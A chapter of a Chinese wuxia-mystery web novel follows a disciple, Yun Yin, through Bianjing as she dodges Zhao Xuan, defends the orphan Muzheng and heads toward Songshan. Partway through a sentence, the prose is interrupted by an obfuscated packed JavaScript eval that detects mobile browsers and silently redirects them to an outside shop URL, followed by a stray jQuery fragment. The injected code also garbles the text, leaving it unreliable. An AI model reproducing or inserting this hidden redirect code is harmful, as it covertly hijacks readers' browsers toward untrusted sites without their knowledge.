“阿梧!”智通一巴掌拍在了小和尚光头上,不重不轻,但魏梧已经一天没进食,饿得直喊疼,“我们门派虽隐匿于世,不与少林来往,可你毕竟是守戒僧,莫要再贪恋荤食腥肉。”
魏梧委屈得要哭出来,但还是忍住了。
他跟着智通走去素斋打饭,不时还驳道:“师父,那乳糖狮子可是糕点,骆驼蹄虽是肉食,可我也只是好奇罢了,让师姐带回来瞧瞧。”
智通没有停下脚步,小沙弥拽着他的胳膊,边走边缠:“师父师父,您就睁一只眼闭一只眼,让我肚子里的馋虫过过眼瘾。”
智通停下步子,看向矮自己一头的魏梧:“你师姐此去…凶多吉少,若你还有心,就每日去千佛殿为她祈福,盼她早日归来。”
魏梧撒了胳膊,看着智通走进斋堂,“凶多吉少?”
…
天宁节当夜,整座汴京城笙歌缭荡,樊楼观台之上,数盏孔明腾空而起,街巷人来人往,瓦子里吃茶的忘了时间,勾栏里最有名的角儿唱着虞妃戏鸢,繁华得找不到北。
云银睁开婆娑眼,便是一处明亮的阁楼,面前摆着一桌子佳肴,四处人头攒动,是家酒馆。
她穿着粗色纹理麻衣,腰间的渡厄铃不时响动,膝裤腿上沾了些灰尘,像是从什么地方风尘仆仆赶来。
云银警惕地望着四周,并无任何怪人。
当务之急,她没有时间气馁,只想找到两位师兄。
智通说过,大师兄已经还俗,戒律清规缠不住他,那就不一定还在嵩山。
二师兄本就和自己一样,是门派里的俗生,这就更不容易寻找,脑子里捋了半天,云银叹了口气,忽地就听到栏台边传来茶盏碎裂的声响。
“你他娘的,给老子滚!”骂脏的是个壮汉,店小二的头上被砸出个血包来,慌乱中低身拾起破碎的碗盏,匆匆掠过众人离去。
那壮汉站起来睨视看过去的酒客,众人吓得纷纷收回眼神,云银迟了几刻,他便凝了过来。
云银正要收回神色,赶来的店家推开半高的屏风,就见壮汉一侧的酒桌上,是一张不能再熟悉的面孔。
他看向壮汉,只余侧脸。而他对侧,是位身着素色裙衫的小娘子,也朝身后望了去。
云银飞快从桌上拿起筷子,挑起一旁的折扇边扇边把头低到碗里,期冀着赵煊不会发现自己。
她视线局限,只听到那姑娘驳斥了几声,壮汉气得火冒三丈,险些要将桌子掀翻,店家来了好些人,劝来劝去,云银趁着乱成一团逃了出来。
人潮拥挤,街边的摊子围满市民,云银左躲右闪,朝酸枣门走去。
而酒馆过了许久才回归平静。
赵煊漠然看向眼前的酒菜,闷头举盏直饮,未曾同小娘子聊谈。
“赵七郎,你今日是怎么了?”姑娘问道,“闷闷不乐,可同我说说?”
赵煊搁盏,望向酒楼下的过客,“酒肉穿肠过,佛祖心中留。”
姑娘听了笑起来,“你又没出家,赵七郎,我真是猜不透你,总是答非所问。”
赵煊收回眸子看向她:“郡主,你不是我,自然不懂。”
赵灵莘无奈,咬了口面前的皂儿糕:“你这般耿直,景姑姑到底怎么想的,你寻不到娘子,才不是没空与女子相处,全是你这张淬毒的嘴。”
“七郎惶恐,还未曾被毒死。”赵煊应道。
赵灵莘失语至极,自顾自闷了口酒。
“郡主,七郎看到一位熟人,失陪。”赵煊叠手倾了一身,而后站起身来。
赵灵莘并不看他,挥了挥筷子,就接着夹菜,显然也是赶他走。赵煊便出了酒馆,朝城北走去。
云银自然是怕赵煊跟来,于是弃了那间破旧宅子,在隔了几户的荒院子里找了处能躺的地方,等待天明。
赵煊推开破宅,里外踱步着,未曾见到任何身影,有些失兴地回身,关上了大门。
云银躺得舒服,上下眼皮打颤,正要睡死过去,身旁忽然传来人声。
“银姐姐,”一阵清晰的女声,还带了点孩童的稚气,是木筝。她笑得弯着唇,“你没走啊。”
云银吓得惊叫一声,很快捂着嘴停了下来,叹了口气:“木筝,你怎么在这?”
赵煊没走远,听到不知哪里传来的尖啸,深觉诡异的他朝声源凑近了些。
云银躺在一处离宅子大门很近的墙边,地上铺着毛毯,她拿走破宅的一床被子,就打算在此将就一晚。
木筝在她一侧躺了下来,“银姐姐,你还没告诉我,你怎么没走呢。”
木筝稚气重,执意也强。云银便笑着同她说道:“哦,我落了些东西。”
“那你还要走么?”木筝说着,声音渐稀,有些低落地垂下眸子。
赵煊找到了具体方位,隐约听到些喃语,落了东西…他沉思着,就听见云银的声音逐渐清晰。
云银抚着木筝的脸蛋,“情况有变,我要待一段时间了。”
木筝听罢猛地抬眸,笑得开怀搂向她:“太好了,银姐姐,我要跟着你走。”
云银搂紧她,继而又轻轻推开,询问发生了何事。木筝便一五一十地说了出来。
“死了?”云银讶然道,“木筝,你是如何得知的?”
“我那日跟着娘亲去城南,亲眼目睹那户院落门前,杀掉匪户的那人就躺在那,已经…咽气了。”
云银听后思索着,再度抱着她。
仍记得匪户死后,她同赵煊一起彻查此事。云银和那位死去的姑娘本不相识,只因是覃府的绣娘,与覃夫人有些联络。
赵煊暗暗质问过她,好在智通告知过她的身份,便糊弄了过去。
覃夫人曾也是位绣娘,不过覃官人一举高中后,也做了这京城的贵妇。
覃家灭门前,覃寒秋遣散了一众下属仆人,住在府上的绣娘也一并离去。
他们本是相安无事,奈何覃家结仇之人心狠手辣,匪户受其指使刺杀与覃府相关之人,片甲不留。
第一桩冤案,便是覃府案。赵煊与她连手结下,揪出了幕后真凶。
赵煊也渐渐为之倾心。
虞妃覃氏,单名一个妩字,进宫不足三月,便位列修仪。帝喜其美貌佳才,次年册封为妃,取虞字为其封号,逸居延福宫。
然而,不过两载光阴,覃氏难产而死,尸骨下葬当日,只听闻宫中传言,虞妃消失了,便被封了口,再无他讯。
云银站了起来,木筝亦随她站起,“木筝,我们走。”
“去哪?”木筝愣愣地问道。
云银推开宅子,“去找你那泼皮不讲理的娘亲。”
木筝是个孤儿。
虚竹院是汴京有名的孤儿所,那里管事的是位叫晴川的妇人,人们都唤她晴姨娘,也就是木筝口中的娘亲。
按木筝所说,她昨日只因看了眼那躺在家门前死去的人,便被晴川赶走了,让她再也不要踏入虚竹院。
木筝在院门前哭了良久,才失心地走到这里,碰到了云银。
两人走在街上,才不过酉时。华灯初上,说是秋夜,可汴梁却看不到一点冷瑟,人们大都穿着薄纱长袖,穿梭街市,流连忘归。
虚竹院在西城郊,两人行走了不多时,木筝满心忧虑地握向云银:“银姐姐,要不算了吧,娘亲不会再收留我了。”
云银顿住步子,轻盈地转身面对她:“木筝,我并非让她再收留你,我是要教训她一番。”
木筝显然更加怕了,拽着云银的手。云银狐疑地看着那纤细的手臂,竟烙了些红痕。
云银努动着唇,气愤地提步,走得更快了些。
虚竹院门前挂着两只灯笼,一只高一些,一只矮一些,木筝说是娘亲为了糊弄衙门的街道司,过了天宁节,就将灯笼拆下了。
云银使出蛮力推开大门,大步流星地走向晴川所在的屋子,也不管沿途的异样眼光,直奔屋前。
…
屋门紧闭,云银不忍地听了几声,屋内叫声此起彼伏,不时传来女子娇脆的哼声。
云银侧过头去,木筝在身后站立着,始终拽着云银的手。
“晴川,你给我听好了。”云银咬了咬牙,艰难开口,“木筝未犯任何错,你不分青红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747250|209335||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皂白地打骂她,还赶走了她,你无耻无理!今日真是不巧,碰上你春宵一刻…”
云银陡然嗔笑了声,声音更加明亮,“等我改日登门拜访,定不会空手而来,我送你一份大礼。”
云银拉着木筝走出虚竹院,木筝轻声问道:“银姐姐说的大礼,是什么?”
云银看向她,“我早有怀疑虚竹院掌事的那些勾当,等我此次查清冤屈,就向衙门报官,好好查封虚竹院。”
木筝在一侧泣声,而后又笑意盈盈地挽着她,“谢谢你,银姐姐。”
云银再度抚摸着她的头。
该死的,大话说在了前头,她在衙门唯一热络的,只有赵煊一人。
然而此次前来,经师父一言点醒,她已不愿再同他联手查缉诡案。
好在,此事不急当下。眼下只能去嵩山碰碰运气,看看大师兄是否还在。
汴京城夜生妩媚,游船之上,木筝靠在云银肩头睡了过去,她央船家渡到西河葛家桥后,唤醒了木筝。
“你可还记得颜姐姐?”云银拿一包袱递她怀中,“木筝,我有要事办,你先借宿在颜画家里,她会给你吃食。”
木筝抿了抿泪,“银姐姐…”
云银不忍地摇着头,而后定定地看向她,抚着小丫头瘦削的脸颊,“木筝,听话,我过些时日就会回来。”
安顿好木筝,船家掉头回到了城中。
云银上岸之时,正巧看到酒馆里的小娘子。
跟在她身侧的,却是另一位男子,看起来足有六尺高,通身黑衣,腰间的褶线系着令牌,打眼瞧去,便知是尚衣局所制。
宫中之人?为何从未见过,哪怕是在赵煊的府邸。
云银收回神色,打算趁夜色赶路。很快便出了汴京城,一路朝西南走去。
约莫次日午时,她走到巩县。
刚进城门,就见此地颇为荒凉,一路走到中心街市,竟也没有多少人影,云银觉得诡异至极,适时看到了一位老人。
她走近询问,老人神色惶惶,不过倒还有口好牙,说得伶俐:
“姑娘自远方来,不曾知晓。我巩县已被山匪劫虏多日,县令去京述职不曾归来,府衙亦不作为,只怕我们老百姓,只有饿死的份了。”
云银掏出几张在荥阳县买来的薄饼,刚烙好时香酥可口,如今已经皮脆面硬。不过好得是吃食,便递到老人手中。
老人捋须笑着婉拒:“我虽年逾古稀,不过还有些积蓄,足以温饱,我看姑娘还要赶路,老朽就不收了。”
云银听后,默然片刻收回手,将薄饼放回胸前的粗布衣裳内衬,随口问路道:“老人家,听闻中岳书院乃学术佳府,是除了国子监之外,整个中原最好的求学圣地。
实不相瞒,我此去是为求学。奈何行至此地迷了路,老人家,可否为我指引一二。”
老人抬眼细细端详着她。粗布纹理的衣裳,膝裤上缝着布丁,脸上尘灰满面,任谁都想不到是去求学的。
“嵩山就在此地之南,老朽带姑娘去往南城门,姑娘出了城,向南行驶便可到嵩山脚下,不过…”
“不过什么?”云银见他噎住,好奇问道。
“不过近日来,我巩县在那学书的书生们都纷纷跑了回来,问之,说是避晦,那群书生回到各自府上众说纷纭,传来传去,大家都猜测,是死了人。”
老人抬手挥了挥:“不过姑娘既然要去,老朽这就为姑娘引路。”
云银狐疑地看着他转过身子,安然迈向城南,如今书院已是这般模样,他竟不劝自己放弃赶路,是何意图?
她跟了上去。
南城门比城北更荒芜,只有两个守卫,看起来随便一个人就能进城,哪怕是山匪。
云银与老人道别,走出城门便见密密麻麻的竹林,中间一条黄土小径,通向嵩山脚下。
她定睛一会儿,转身就见老人还在朝她笑,之后便化作一团雾气烟消云散。
“……”云银方才明白,是智通派来的引路人。
“师父什么时候手艺这么好了,先前捏的那个可是鼻子都快到天上了。”